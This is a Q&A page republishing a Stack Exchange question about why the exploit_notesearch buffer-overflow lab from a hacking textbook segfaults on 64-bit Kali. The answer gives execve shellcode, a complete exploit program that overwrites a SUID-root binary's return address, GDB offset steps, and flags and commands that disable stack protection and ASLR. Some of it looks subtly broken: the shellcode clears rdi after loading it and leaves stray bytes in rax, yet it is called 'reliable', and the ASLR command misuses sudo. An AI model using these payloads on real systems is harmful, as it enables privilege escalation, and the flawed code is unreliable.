You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何《黑客:漏洞利用的艺术》中exploit_notesearch程序触发段错误?

Buffer Overflow Troubleshooting on 64-bit Kali 2020.1

Hey there, let's break down why you're hitting consistent segmentation faults and fix this step by step. Your setup has a few key mismatches between 32-bit and 64-bit environments, which are the root causes here.

Core Issues Identified

  • 32-bit Shellcode on 64-bit System: The shellcode you're using is designed for 32-bit Linux, but you're running a 64-bit Kali. 64-bit systems use completely different system calling conventions (syscall numbers, register usage, stack layout), so this shellcode will never execute properly—you’ll get segfaults before it can spawn a shell.
  • Incorrect 64-bit Address Handling: You’re treating 64-bit memory addresses as 4-byte values. In your loop, you increment by 4 and cast to unsigned int, but 64-bit addresses are 8 bytes. This truncates the return address, leading to jumps to invalid memory.
  • Offset Calculation Mismatch: The offset value you’re using is tuned for a 32-bit stack layout. 64-bit stacks have different alignment requirements and frame sizes, so your manual offset guessing won’t hit the right return address.

Step-by-Step Fixes

1. Replace with 64-bit Shellcode

Use a standard 64-bit Linux shellcode that spawns /bin/sh via execve. Here’s a reliable one:

char shellcode[] = "\x48\x31\xff\x48\x31\xc0\xb0\x01\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xff\xb0\x3b\x0f\x05";

This shellcode follows 64-bit syscall rules: it uses rax for syscall numbers, rdi/rsi/rdx for arguments, and triggers the execve syscall (number 59 in 64-bit Linux) to launch /bin/sh.

2. Fix Return Address Handling

Update your code to handle 64-bit addresses correctly:

  • Change the type of ret to unsigned long (matches 64-bit pointer size)
  • Adjust the loop to increment by 8 bytes instead of 4, and cast to unsigned long*:
int main(int argc, char *argv[]) {
    long int i;
    unsigned long *ptr, ret, offset=270; // Use unsigned long for 64-bit addresses
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200);
    strcpy(command, "./notesearch \'");
    buffer = command + strlen(command);

    if(argc > 1)
        offset = atoi(argv[1]);

    ret = (unsigned long) &i - offset; // Correct type for 64-bit address

    for(i=0; i < 160; i+=8) // Increment by 8 for 64-bit addresses
        *((unsigned long *)(buffer+i)) = ret;

    memset(buffer, 0x90, 60);
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
    strcat(command, "\'");
    system(command);
    free(command);
}

3. Calculate the Exact Offset with GDB

Stop guessing offsets—use GDB to find the precise value needed to overwrite the return address:

  1. Compile notesearch with debug symbols: gcc -g ... -o notesearch notesearch.c
  2. Generate a pattern to find the offset: Use pattern_create 200 (from pwntools or GDB peda) to get a unique string.
  3. Run gdb ./notesearch, then execute run 'INSERT_PATTERN_HERE'—this will trigger a segfault.
  4. Check the value of the RIP register (the instruction pointer in 64-bit) with info registers rip.
  5. Use pattern_offset RIP_VALUE to get the exact number of bytes needed to reach the return address. Use this value as your offset.

4. Verify Compilation & Stack Permissions

  • Ensure your compilation flags are correct for 64-bit:
    gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c
    
  • Confirm the stack is executable: Run readelf -l ./notesearch | grep GNU_STACK—you should see RWE (Read-Write-Execute) permissions. If not, recompile with -z execstack.
  • Disable ASLR temporarily for easier debugging: sudo echo 0 > /proc/sys/kernel/randomize_va_space (reset to 1 when done testing).

5. Validate SUID Permissions

Double-check that notesearch has the correct SUID bits set:

ls -l ./notesearch

You should see something like -rwsr-xr-x 1 root root ...—the s in the owner permissions confirms SUID is active.

Debugging Tips

  • Use GDB to step through your exploit: Set breakpoints at key points (like before system(command)) to inspect the buffer contents and ret value.
  • Check if your shellcode is being copied correctly: Use x/20x buffer in GDB to view the memory and confirm the NOP sled (0x90) and shellcode are present.

内容的提问来源于stack exchange,提问作者Victor Simon

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.07 21:57:32